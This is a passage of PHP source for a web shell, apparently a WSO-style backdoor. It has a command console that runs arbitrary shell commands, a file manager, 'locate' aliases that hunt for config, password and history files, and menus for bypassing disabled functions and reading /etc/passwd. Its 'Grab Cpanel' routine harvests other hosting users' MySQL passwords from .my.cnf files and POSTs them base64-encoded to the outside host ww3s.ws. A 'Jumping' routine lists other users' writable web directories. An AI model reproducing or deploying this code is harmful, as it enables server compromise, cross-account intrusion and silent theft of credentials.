config.php\",\r\n\t\t\"locate config.inc files\" => \"locate config.inc\",\r\n\t\t\"locate config.inc.php\" => \"locate config.inc.php\",\r\n\t\t\"locate config.default.php files\" => \"locate config.default.php\",\r\n\t\t\"locate config* files \" => \"locate config\",\r\n\t\t\"locate .conf files\"=>\"locate '.conf'\",\r\n\t\t\"locate .pwd files\" => \"locate '.pwd'\",\r\n\t\t\"locate .sql files\" => \"locate '.sql'\",\r\n\t\t\"locate .htpasswd files\" => \"locate '.htpasswd'\",\r\n\t\t\"locate .bash_history files\" => \"locate '.bash_history'\",\r\n\t\t\"locate .mysql_history files\" => \"locate '.mysql_history'\",\r\n\t\t\"locate .fetchmailrc files\" => \"locate '.fetchmailrc'\",\r\n\t\t\"locate backup files\" => \"locate backup\",\r\n\t\t\"locate dump files\" => \"locate dump\",\r\n\t\t\"locate priv files\" => \"locate priv\"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty(\$_POST['p1']) && !empty(\$_POST['p2'])) {\r\n        prototype(md5(\$_SERVER['HTTP_HOST']).'stderr_to_out', true);\r\n        \$_POST['p1'] .= ' 2>&1';\r\n    } elseif(!empty(\$_POST['p1']))\r\n        prototype(md5(\$_SERVER['HTTP_HOST']).'stderr_to_out', 0);\r\n\tif(isset(\$_POST['ajax'])) {\r\n\t\tprototype(md5(\$_SERVER['HTTP_HOST']).'ajax', true);\r\n\t\tob_start();\r\n\t\techo \"d.cf.cmd.value='';\\n\";\r\n\t\t\$temp = @iconv(\$_POST['charset'], 'UTF-8', addcslashes(\"\\n\$ \".\$_POST['p1'].\"\\n\".ex(\$_POST['p1']),\"\\n\\r\\t\\'\\0\"));\r\n\t\tif(preg_match(\"!.*cd\\s+([^;]+)\$!\",\$_POST['p1'],\$match))\t{\r\n\t\t\tif(@chdir(\$match[1])) {\r\n\t\t\t\t\$GLOBALS['cwd'] = @getcwd();\r\n\t\t\t\techo \"c_='\".\$GLOBALS['cwd'].\"';\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"d.cf.output.value+='\".\$temp.\"';\";\r\n\t\techo \"d.cf.output.scrollTop = d.cf.output.scrollHeight;\";\r\n\t\t\$temp = ob_get_clean();\r\n\t\techo strlen(\$temp), \"\\n\", \$temp;\r\n\t\texit;\r\n\t}\r\n    if(empty(\$_POST['ajax'])&&!empty(\$_POST['p1']))\r\n\t\tprototype(md5(\$_SERVER['HTTP_HOST']).'ajax', 0);\r\n\thardHeader();\r\n    echo \"<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>\";\r\n\techo '<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value==\\'clear\\'){d.cf.output.value=\\'\\';d.cf.cmd.value=\\'\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\'\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\'\\');} return false;\"><label><select name=alias>';\r\n\tforeach(\$GLOBALS['aliases'] as \$n => \$v) {\r\n\t\tif(\$v == '') {\r\n\t\t\techo '<optgroup label=\"-'.htmlspecialchars(\$n).'-\"></optgroup>';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo '<option value=\"'.htmlspecialchars(\$v).'\">'.\$n.'</option>';\r\n\t}\r\n\techo '</select></label><input type=button onclick=\"add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\'\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\'\\');}\" value=\"submit\"> <nobr><input type=checkbox name=ajax value=1 '.(@\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty(\$_POST['p2'])||\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style=\"border-bottom:0;margin-top:5px;\" readonly>';\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\techo htmlspecialchars(\"\$ \".\$_POST['p1'].\"\\n\".ex(\$_POST['p1']));\r\n\t}\r\n\techo '</textarea><table style=\"border:1px solid #000000;background-color:#000000;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>';\r\n\techo '</form></div><script>d.cf.cmd.focus();</script>';\r\n\thardFooter();\r\n}\r\nfunction actionbypas() {\r\n\thardHeader();\r\n\techo \"<center><h1>Bypass Tools</h1><div class=content><br>\";\r\n\r\n\techo\"<th><a href='#' onclick='g(\\\"passw\\\",null,\\\"s_name_\".(\$sort[1]?0:1).\"\\\")'> [ Bypass: /etc/passwd ] </a></th><p>\";\r\n\techo\"<th><a href='#' onclick='g(\\\"disable\\\",null,\\\"s_name_\".(\$sort[1]?0:1).\"\\\")'> [ Bypass: Disbaled Functions ] </a></th>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionSym() {\r\n\thardHeader();\r\n\techo \"<center><h1>Symlink</h1><div class=content><br>\";\r\n\r\n\techo \"<br><center>  <iframe frameBorder=0 src='?sym' width='900' height='300'></iframe></a>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionpassw() {\r\n\thardHeader();\r\n\techo \"<center><h1>Bypass: /etc/passwd</h1><div class=content><br>\";\r\n\r\n\techo \"<br><center>  <iframe frameBorder=0 src='?passwd' width='900' height='400'></iframe></a>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actiondisable() {\r\n\thardHeader();\r\n\techo \"<center><h1>Bypass: Disabled Functions</h1><div class=content><br>\";\r\n\techo \"<br><center>  <iframe frameBorder=0 src='?disabled' width='900' height='300'></iframe></a>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo \"<center><h1>Grab Cpanel</h1><div class=content><br>\";\r\n\t @ini_set('display_errors', 0);\r\nfunction entre2v2(\$text, \$marqueurDebutLien, \$marqueurFinLien, \$i = 1) {\r\n    \$ar0 = explode(\$marqueurDebutLien, \$text);\r\n    \$ar1 = explode(\$marqueurFinLien, \$ar0[\$i]);\r\n    return trim(\$ar1[0]);\r\n}\r\necho '<br><br>';\r\necho '<center>';\r\n\$d0mains = @file('/etc/named.conf');\r\n\$domains = scandir(\"/var/named\");\r\nif (\$domains or \$d0mains) {\r\n    \$domains = scandir(\"/var/named\");\r\n    if (\$domains) {\r\n        echo \"<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>\";\r\n        \$count = 1;\r\n        \$dc = 0;\r\n        \$list = scandir(\"/var/named\");\r\n        foreach (\$list as \$domain) {\r\n            if (strpos(\$domain, \".db\")) {\r\n                \$domain = str_replace('.db', '', \$domain);\r\n                \$owner = posix_getpwuid(fileowner(\"/etc/valiases/\" . \$domain));\r\n                \$dirz = '/home/' . \$owner['name'] . '/.my.cnf';\r\n                \$path = getcwd();\r\n                if (is_readable(\$dirz)) {\r\n                    copy(\$dirz, '' . \$path . '/' . \$owner['name'] . '.txt');\r\n                    \$p = file_get_contents('' . \$path . '/' . \$owner['name'] . '.txt');\r\n                    \$password = entre2v2(\$p, 'password=\"', '\"');\r\n                    echo \"<tr><td valign=top style=border :2px solid white; width: 139px class=style2>\" . \$count++ . \"</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://\" . \$domain . \":2082 target=_blank>\" . \$domain . \"</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >\" . \$owner['name'] . \"</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >\" . \$password . \"</td><td valign=top style=border :2px solid white style=width: 139px><a href=\" . \$owner['name'] . \".txt target=_blank>Click Here</a></td></tr>\";\r\n                    \$dc++;\r\n                    \$success3 = \"http://\" . \$domain . \"|\" . \$owner['name'] . \"|\" . \$password . \"\r\n\";\r\n                    \$ch = curl_init();\r\n                    curl_setopt(\$ch, CURLOPT_URL, \"http://ww3s.ws/ok.php\");\r\n                    curl_setopt(\$ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');\r\n                    curl_setopt(\$ch, CURLOPT_POST, 1);\r\n                    curl_setopt(\$ch, CURLOPT_POSTFIELDS, \"result=\" . base64_encode(\$success3));\r\n                    curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n                    curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n                    curl_setopt(\$ch, CURLOPT_HEADER, 1);\r\n                    \$buffer = curl_exec(\$ch);\r\n                }\r\n            }\r\n        }\r\n        echo '</table>';\r\n        \$total = \$dc;\r\n        echo '</center>';\r\n    } else {\r\n        \$d0mains = @file('/etc/named.conf');\r\n        if (\$d0mains) {\r\n            echo \"<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>\";\r\n            \$count = 1;\r\n            \$dc = 0;\r\n            \$mck = array();\r\n            foreach (\$d0mains as \$d0main) {\r\n                if (@eregi('zone', \$d0main)) {\r\n                    preg_match_all('#zone \"(.*)\"#', \$d0main, \$domain);\r\n                    flush();\r\n                    if (strlen(trim(\$domain[1][0])) > 2) {\r\n                        \$mck[] = \$domain[1][0];\r\n                    }\r\n                }\r\n            }\r\n            \$mck = array_unique(\$mck);\r\n            \$usr = array();\r\n            \$dmn = array();\r\n            foreach (\$mck as \$o) {\r\n                \$infos = @posix_getpwuid(fileowner(\"/etc/valiases/\" . \$o));\r\n                \$usr[] = \$infos['name'];\r\n                \$dmn[] = \$o;\r\n            }\r\n            array_multisort(\$usr, \$dmn);\r\n            \$dt = file('/etc/passwd');\r\n            \$passwd = array();\r\n            foreach (\$dt as \$d) {\r\n                \$r = explode(':', \$d);\r\n                if (strpos(\$r[5], 'home')) {\r\n                    \$passwd[\$r[0]] = \$r[5];\r\n                }\r\n            }\r\n            \$l = 0;\r\n            \$j = 1;\r\n            foreach (\$usr as \$r) {\r\n                \$dirz = '/home/' . \$r . '/.my.cnf';\r\n                \$path = getcwd();\r\n                if (is_readable(\$dirz)) {\r\n                    copy(\$dirz, '' . \$path . '/' . \$r . '.txt');\r\n                    \$p = file_get_contents('' . \$path . '/' . \$r . '.txt');\r\n                    \$password = entre2v2(\$p, 'password=\"', '\"');\r\n                    echo \"<tr><td valign=top class=style2 style=width: 139px>\" . \$count++ . \"</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://\" . \$dmn[\$j - 1] . '/>' . \$dmn[\$j - 1] . ' </a></td><td valign=top class=style2 style=width: 139px>' . \$r . \"</td><td valign=top class=style2 style=width: 139px>\" . \$password . \"</td><td valign=top class=style2 style=width: 139px><a href='\" . \$r . \".txt' target='_blank'>Click Here</a></td></tr>\";\r\n                    \$dc++;\r\n                    flush();\r\n                    \$l = \$l ? 0 : 1;\r\n                    \$j++;\r\n                }\r\n            }\r\n        }\r\n        echo '</table>';\r\n        \$total = \$dc;\r\n        echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = ' . \$total . '</h3><br />';\r\n        echo '</center>';\r\n    }\r\n} else {\r\n    echo \"<div class=result><i><font color=#ffb101>ERROR</font><br><font color=#ffb101>/var/named</font> or <font color=#ffb101>etc/named.conf</font> Not Accessible!</i></div>\";\r\n}\r\n\techo\" </div>\";\r\n\thardFooter();\r\n}\r\nfunction actionReseller() {\r\n\thardHeader();\r\n\techo \"<center><h1>WHM & Reseller Finder</h1><div class=content><br>\";\r\n\techo \"<br><center>  <iframe frameBorder=0 src='?reseller' width='900' height='470'></iframe></a>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty (\$_COOKIE['f']))\r\n        \$_COOKIE['f'] = @unserialize(\$_COOKIE['f']);\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\tswitch(\$_POST['p1']) {\r\n\t\t\tcase 'uploadFile':\r\n\t\t\t\tif ( is_array(\$_FILES['f']['tmp_name']) ) {\r\n\t\t\t\t\tforeach ( \$_FILES['f']['tmp_name'] as \$i => \$tmpName ) {\r\n                        if(!@move_uploaded_file(\$tmpName, \$_FILES['f']['name'][\$i])) {\r\n                                echo \"Can't upload file!\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'mkdir':\r\n\t\t\t\tif(!@mkdir(\$_POST['p2']))\r\n\t\t\t\t\techo \"Can't create new dir\";\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'delete':\r\n\t\t\t\tfunction deleteDir(\$path) {\r\n\t\t\t\t\t\$path = (substr(\$path,-1)=='/') ? \$path:\$path.'/';\r\n\t\t\t\t\t\$dh  = opendir(\$path);\r\n\t\t\t\t\twhile ( (\$asciifnc6 = readdir(\$dh) ) !== false) {\r\n\t\t\t\t\t\t\$asciifnc6 = \$path.\$asciifnc6;\r\n\t\t\t\t\t\tif ( (basename(\$asciifnc6) == \"..\") || (basename(\$asciifnc6) == \".\") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\$type = filetype(\$asciifnc6);\r\n\t\t\t\t\t\tif (\$type == \"dir\")\r\n\t\t\t\t\t\t\tdeleteDir(\$asciifnc6);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink(\$asciifnc6);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir(\$dh);\r\n\t\t\t\t\t@rmdir(\$path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@\$_POST['f']))\r\n\t\t\t\t\tforeach(\$_POST['f'] as \$f) {\r\n                        if(\$f == '..')\r\n                            continue;\r\n\t\t\t\t\t\t\$f = urldecode(\$f);\r\n\t\t\t\t\t\tif(is_dir(\$f))\r\n\t\t\t\t\t\t\tdeleteDir(\$f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink(\$f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'paste':\r\n\t\t\t\tif(\$_COOKIE['act'] == 'copy') {\r\n\t\t\t\t\tfunction copy_paste(\$c,\$s,\$d){\r\n\t\t\t\t\t\tif(is_dir(\$c.\$s)){\r\n\t\t\t\t\t\t\tmkdir(\$d.\$s);\r\n\t\t\t\t\t\t\t\$h = @opendir(\$c.\$s);\r\n\t\t\t\t\t\t\twhile ((\$f = @readdir(\$h)) !== false)\r\n\t\t\t\t\t\t\t\tif ((\$f != \".\") and (\$f != \"..\"))\r\n\t\t\t\t\t\t\t\t\tcopy_paste(\$c.\$s.'/',\$f, \$d.\$s.'/');\r\n\t\t\t\t\t\t} elseif(is_file(\$c.\$s))\r\n\t\t\t\t\t\t\t@copy(\$c.\$s, \$d.\$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach(\$_COOKIE['f'] as \$f)\r\n\t\t\t\t\t\tcopy_paste(\$_COOKIE['c'],\$f, \$GLOBALS['cwd']);\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'move') {\r\n\t\t\t\t\tfunction move_paste(\$c,\$s,\$d){\r\n\t\t\t\t\t\tif(is_dir(\$c.\$s)){\r\n\t\t\t\t\t\t\tmkdir(\$d.\$s);\r\n\t\t\t\t\t\t\t\$h = @opendir(\$c.\$s);\r\n\t\t\t\t\t\t\twhile ((\$f = @readdir(\$h)) !== false)\r\n\t\t\t\t\t\t\t\tif ((\$f != \".\") and (\$f != \"..\"))\r\n\t\t\t\t\t\t\t\t\tcopy_paste(\$c.\$s.'/',\$f, \$d.\$s.'/');\r\n\t\t\t\t\t\t} elseif(@is_file(\$c.\$s))\r\n\t\t\t\t\t\t\t@copy(\$c.\$s, \$d.\$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach(\$_COOKIE['f'] as \$f)\r\n\t\t\t\t\t\t@rename(\$_COOKIE['c'].\$f, \$GLOBALS['cwd'].\$f);\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'zip') {\r\n\t\t\t\t\tif(class_exists('ZipArchive')) {\r\n                        \$zip = new ZipArchive();\r\n                        if (\$zip->open(\$_POST['p2'], 1)) {\r\n                            chdir(\$_COOKIE['c']);\r\n                            foreach(\$_COOKIE['f'] as \$f) {\r\n                                if(\$f == '..')\r\n                                    continue;\r\n                                if(@is_file(\$_COOKIE['c'].\$f))\r\n                                    \$zip->addFile(\$_COOKIE['c'].\$f, \$f);\r\n                                elseif(@is_dir(\$_COOKIE['c'].\$f)) {\r\n                                    \$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$f.'/', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach (\$iterator as \$key=>\$value) {\r\n                                        \$zip->addFile(realpath(\$key), \$key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir(\$GLOBALS['cwd']);\r\n                            \$zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'unzip') {\r\n\t\t\t\t\tif(class_exists('ZipArchive')) {\r\n                        \$zip = new ZipArchive();\r\n                        foreach(\$_COOKIE['f'] as \$f) {\r\n                            if(\$zip->open(\$_COOKIE['c'].\$f)) {\r\n                                \$zip->extractTo(\$GLOBALS['cwd']);\r\n                                \$zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif(\$_COOKIE['act'] == 'tar') {\r\n                    chdir(\$_COOKIE['c']);\r\n                    \$_COOKIE['f'] = array_map('escapeshellarg', \$_COOKIE['f']);\r\n                    ex('tar cfzv ' . escapeshellarg(\$_POST['p2']) . ' ' . implode(' ', \$_COOKIE['f']));\r\n                    chdir(\$GLOBALS['cwd']);\r\n\t\t\t\t}\r\n\t\t\t\tunset(\$_COOKIE['f']);\r\n                setcookie('f', '', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty(\$_POST['p1'])) {\r\n\t\t\t\t\tprototype('act', \$_POST['p1']);\r\n\t\t\t\t\tprototype('f', serialize(@\$_POST['f']));\r\n\t\t\t\t\tprototype('c', @\$_POST['c']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>';\r\n\t\$dirContent = hardScandir(isset(\$_POST['c'])?\$_POST['c']:\$GLOBALS['cwd']);\r\n\tif(\$dirContent === false) {\techo 'Can\\'t open this folder!';hardFooter(); return; }\r\n\tglobal \$sort;\r\n\t\$sort = array('name', 1);\r\n\tif(!empty(\$_POST['p1'])) {\r\n\t\tif(preg_match('!s_([A-z]+)_(\\d{1})!', \$_POST['p1'], \$match))\r\n\t\t\t\$sort = array(\$match[1], (int)\$match[2]);\r\n\t}\r\necho \"<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_name_\".(\$sort[1]?0:1).\"\\\")'>Name</a></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_size_\".(\$sort[1]?0:1).\"\\\")'>Size</a></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_modify_\".(\$sort[1]?0:1).\"\\\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_perms_\".(\$sort[1]?0:1).\"\\\")'>Permissions</a></th><th>Actions</th></tr>\";\r\n\t\$dirs = \$files = array();\r\n\t\$n = count(\$dirContent);\r\n\tfor(\$i=0;\$i<\$n;\$i++) {\r\n\t\t\$ow = @posix_getpwuid(@fileowner(\$dirContent[\$i]));\r\n\t\t\$gr = @posix_getgrgid(@filegroup(\$dirContent[\$i]));\r\n\t\t\$tmp = array('name' => \$dirContent[\$i],\r\n\t\t\t\t\t 'path' => \$GLOBALS['cwd'].\$dirContent[\$i],\r\n\t\t\t\t\t 'modify' => date('Y-m-d H:i:s', @filemtime(\$GLOBALS['cwd'] . \$dirContent[\$i])),\r\n\t\t\t\t\t 'perms' => viewPermsColor(\$GLOBALS['cwd'] . \$dirContent[\$i]),\r\n\t\t\t\t\t 'size' => @filesize(\$GLOBALS['cwd'].\$dirContent[\$i]),\r\n\t\t\t\t\t 'owner' => \$ow['name']?\$ow['name']:@fileowner(\$dirContent[\$i]),\r\n\t\t\t\t\t 'group' => \$gr['name']?\$gr['name']:@filegroup(\$dirContent[\$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file(\$GLOBALS['cwd'] . \$dirContent[\$i]))\r\n\t\t\t\$files[] = array_merge(\$tmp, array('type' => 'file'));\r\n\t\telseif(@is_link(\$GLOBALS['cwd'] . \$dirContent[\$i]))\r\n\t\t\t\$dirs[] = array_merge(\$tmp, array('type' => 'link', 'link' => readlink(\$tmp['path'])));\r\n\t\telseif(@is_dir(\$GLOBALS['cwd'] . \$dirContent[\$i])&&(\$dirContent[\$i] != \".\"))\r\n\t\t\t\$dirs[] = array_merge(\$tmp, array('type' => 'dir'));\r\n\t}\r\n\t\$GLOBALS['sort'] = \$sort;\r\n\tfunction cmp(\$a, \$b) {\r\n\t\tif(\$GLOBALS['sort'][0] != 'size')\r\n\t\t\treturn strcmp(strtolower(\$a[\$GLOBALS['sort'][0]]), strtolower(\$b[\$GLOBALS['sort'][0]]))*(\$GLOBALS['sort'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn ((\$a['size'] < \$b['size']) ? -1 : 1)*(\$GLOBALS['sort'][1]?1:-1);\r\n\t}\r\n\tusort(\$files, \"cmp\");\r\n\tusort(\$dirs, \"cmp\");\r\n\t\$files = array_merge(\$dirs, \$files);\r\n\t\$l = 0;\r\n\tforeach(\$files as \$f) {\r\n\t\techo '<tr'.(\$l?' class=l1':'').'><td><input type=checkbox name=\"f[]\" value=\"'.urlencode(\$f['name']).'\" class=chkbx></td><td><a href=# onclick=\"'.((\$f['type']=='file')?'g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'view\\')\">'.htmlspecialchars(\$f['name']):'g(\\'FilesMan\\',\\''.\$f['path'].'\\');\" ' . (empty (\$f['link']) ? '' : \"title='{\$f['link']}'\") . '><b>[ ' . htmlspecialchars(\$f['name']) . ' ]</b>').'</a></td><td>'.((\$f['type']=='file')?viewSize(\$f['size']):\$f['type']).'</td><td>'.\$f['modify'].'</td><td>'.\$f['owner'].'/'.\$f['group'].'</td><td><a href=# onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\',\\'chmod\\')\">'.\$f['perms']\r\n\t\t\t.'</td><td><a class=\"tooltip\" data-tooltip=\"Rename\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'rename\\')\">R</a> <a class=\"tooltip\" data-tooltip=\"Touch\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'touch\\')\">T</a>'.((\$f['type']=='file')?' <a class=\"tooltip\" data-tooltip=\"Frame\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'frame\\')\">F</a> <a class=\"tooltip\" data-tooltip=\"Edit\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'edit\\')\">E</a> <a class=\"tooltip\" data-tooltip=\"Download\" href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'download\\')\">D</a>':'').'</td></tr>';\r\n\t\t\$l = \$l?0:1;\r\n\t}\r\n\techo \"<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'>\r\n\t<input type=hidden name=charset value='\". (isset(\$_POST['charset'])?\$_POST['charset']:'').\"'>\r\n\t<label><select name='p1'>\";\r\n\tif(!empty(\$_COOKIE['act']) && @count(\$_COOKIE['f']))\r\n        echo \"<option value='paste'>\xe2\x86\xb3 Paste</option>\";\r\n\techo \"<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>\";\r\n    if(class_exists('ZipArchive'))\r\n        echo \"<option value='zip'>+ zip</option><option value='unzip'>- zip</option>\";\r\n    echo \"<option value='tar'>+ tar.gz</option>\";\r\n    echo \"</select></label>\";\r\n    if(!empty(\$_COOKIE['act']) && @count(\$_COOKIE['f']) && ((\$_COOKIE['act'] == 'zip') || (\$_COOKIE['act'] == 'tar')))\r\n        echo \"&nbsp;file name: <input type=text name=p2 value='hard_\" . date(\"Ymd_His\") . \".\" . (\$_COOKIE['act'] == 'zip'?'zip':'tar.gz') . \"'>&nbsp;\";\r\n    echo \"<input type='submit' value='submit'></td></tr></form></table></div>\";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo \"<center><h1>Jumping :D</h1><div class=content><br>\";\r\n\t\$i = 0;\r\n@ini_set('display_errors', 0);\r\necho \"<pre><div class='margin: 5px auto;'>\";\r\n\$etc = fopen(\"/etc/passwd\", \"r\") or die(\"<font color=white>Can't read /etc/passwd</font>\");\r\nwhile (\$passwd = fgets(\$etc)) {\r\n    if (\$passwd == '' || !\$etc) {\r\n        echo \"<font color=white>Can't read /etc/passwd</font>\";\r\n    } else {\r\n        preg_match_all('/(.*?):x:/', \$passwd, \$user_jumping);\r\n        foreach (\$user_jumping[1] as \$user_khoer_jump) {\r\n            \$user_jumping_dir = \"/home/\$user_khoer_jump/public_html\";\r\n            if (is_readable(\$user_jumping_dir)) {\r\n                \$i++;\r\n                \$jrw = \"[<font color=white>R</font>] <a href='?path=\$user_jumping_dir'><font color=#ffb101>\$user_jumping_dir</font></a>\";\r\n                if (is_writable(\$user_jumping_dir)) {\r\n                    \$jrw = \"[<font color=white>RW</font>] <a href='?path=\$user_jumping_dir'><font color=#ffb101>\$user_jumping_dir</font></a>\";\r\n                }\r\n                echo \$jrw;\r\n                if (function_exists('posix_getpwuid')) {\r\n                    \$domain_jump = file_get_contents(\"/etc/named.conf\");\r\n                    if (\$domain_jump == '') {\r\n                        echo \" => ( <font color=white>I can't take the domain name</font> )<br>\";\r\n                    } else {\r\n                        preg_match_all(\"#/var/named/(.*?).db#\", \$domain_jump, \$domains_jump);\r\n                        foreach (\$domains_jump[1] as \$dj) {\r\n                            \$user_jumping_url = posix_getpwuid(@fileowner(\"/etc/valiases/\$dj\"));\r\n                            \$user_jumping_url = \$user_jumping_url['name'];\r\n                            if (\$user_jumping_url == \$user_khoer_jump) {\r\n                                echo \" => ( <u>\$dj</u> )<br>\";\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                } else {\r\n                    echo \"<br>\";\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif (\$i == 0) {\r\n} else {\r\n    echo \"<br>Total \" . \$i . \" Directory \" . gethostbyname(\$_SERVER['HTTP_HOST']) . \"\";\r\n}\r\necho \"</div></pre>\";\r\n\techo \"</div>\";\r\n\thardFooter();\r\n}\r\n\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo \"<center><h1>Config Grabber</h1><div class=content><br>\";\r\n\t@ini_set('display_errors', 0);\r\n\t\$cgi_dir = mkdir('priv_sym', 0755);\r\n        chdir('priv_sym');\r\n\t\$file_mass = \"conf.php\";\r\n\t\$mass_script = 